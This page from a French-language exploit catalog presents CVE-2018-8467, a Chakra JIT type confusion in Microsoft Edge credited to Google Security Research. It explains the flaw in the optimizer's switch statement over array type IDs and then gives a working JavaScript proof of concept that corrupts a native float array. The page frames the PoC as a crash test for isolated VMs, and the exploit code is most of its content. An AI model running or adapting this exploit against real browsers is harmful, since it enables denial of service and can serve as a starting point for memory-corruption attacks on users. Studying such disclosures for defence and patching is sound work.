Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2018-8467

HIGH

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB dos windows Vérifié
Source

Microsoft Edge Chakra JIT - Type Confusion

Par Google Security Research

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code js

/*
The switch statement only handles Js::TypeIds_Array but not Js::TypeIds_NativeIntArray and Js::TypeIds_NativeFloatArray. So for example, a native float array can be considered as of type ObjectType::Object under certain circumstances where "objValueType.IsLikelyArrayOrObjectWithArray()" is not fulfilled. As it doesn't install any array type conversion check for a definite object, handling a native array as a definite object can lead to type confusion.

void
GlobOpt::UpdateObjPtrValueType(IR::Opnd * opnd, IR::Instr * instr)
{
    ...
    if (newValueType == ValueType::Uninitialized)
    {
        switch (typeId)
        {
        default:
            if (typeId > Js::TypeIds_LastStaticType)
            {
                Assert(typeId != Js::TypeIds_Proxy);
                if (objValueType.IsLikelyArrayOrObjectWithArray())
                {
                    // If we have likely object with array before, we can't make it definite object with array
                    // since we have only proved that it is an object.
                    // Keep the likely array or object with array.
                }
                else
                {
                    newValueType = ValueType::GetObject(ObjectType::Object);
                }
            }
            break;
        case Js::TypeIds_Array:
            // Because array can change type id, we can only make it definite if we are doing array check hoist
            // so that implicit call will be installed between the array checks.
            if (!DoArrayCheckHoist() ||
                (currentBlock->loop
                ? !this->ImplicitCallFlagsAllowOpts(currentBlock->loop)
                : !this->ImplicitCallFlagsAllowOpts(this->func)))
            {
                break;
            }
            if (objValueType.IsLikelyArrayOrObjectWithArray())
            {
                // If we have likely no missing values before, keep the likely, because, we haven't proven that
                // the array really has no missing values
                if (!objValueType.HasNoMissingValues())
                {
                    newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
                }
            }
            else
            {
                newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
            }
            break;
        }
    }
    ...
}

PoC:
*/

function opt(arr, arr2) {
    arr[0] = 1.1;

    arr2.method(arr2[0] = {});

    arr[0] = 2.3023e-320;
}

Object.prototype.method = () => {};

let arr = [1.1, 2.2];
for (let i = 0; i < 100; i++) {
    opt(arr, 1);  // Feeding an integer to make the value type LikelyCanBeTaggedValue_Int_PrimitiveOrObject
    opt(arr, arr.concat());
}

setTimeout(() => {
    opt(arr, arr);
    alert(arr);
}, 100);  // Waiting for the JIT server to finish its job.